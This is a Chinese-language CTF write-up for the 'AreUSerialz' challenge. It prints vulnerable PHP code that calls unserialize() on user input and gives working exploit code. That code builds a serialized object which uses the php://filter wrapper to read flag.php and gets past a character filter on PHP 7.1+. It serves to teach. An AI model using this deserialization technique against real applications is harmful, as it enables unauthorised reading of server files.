> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-wang-ding-bei/qing-long-zu-areuserialz.md).

# \[青龙组]AreUSerialz

```php
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
```

跟着流程分析，首先通过GET的方式获取字符串，经过检验后进行反序列化

```php
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
```

检验函数验证字符的ASCII值在32到125之间

```php
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
```

接着看反序列化后发生了什么，由于没有发生构造，所以不触发构造的魔术方法，最终是析构的魔术方法

```php
function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}
```

如果`op==="2"`，则将`op`转为1。注意这里是强等于。

再看一下`process()`函数：

```php
public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}
```

根据op的值不同分别触发3个方法，其中`op=="1"`为写文件，`op=="2"`为读文件，其他报错。这里用的是弱等于，再加上用的是数字，其实考点就很明显。

```php
private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
    }
```

`read()`函数用了`file_get_contents()`读取文件，这里可以用php伪协议读取flag。

生成反序列化字符串。

```php
<?php

class FileHandler {
    protected $op = 2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content = "";
}

echo serialize(new FileHandler());
file_put_contents('exp.txt',serialize(new FileHandler()));
```

这里由于做了字符的ASCII限制，所以不能直接传入%00。

利用PHP7.1+的特性，对序列化类型不敏感，改成public生成序列化对象传参即可。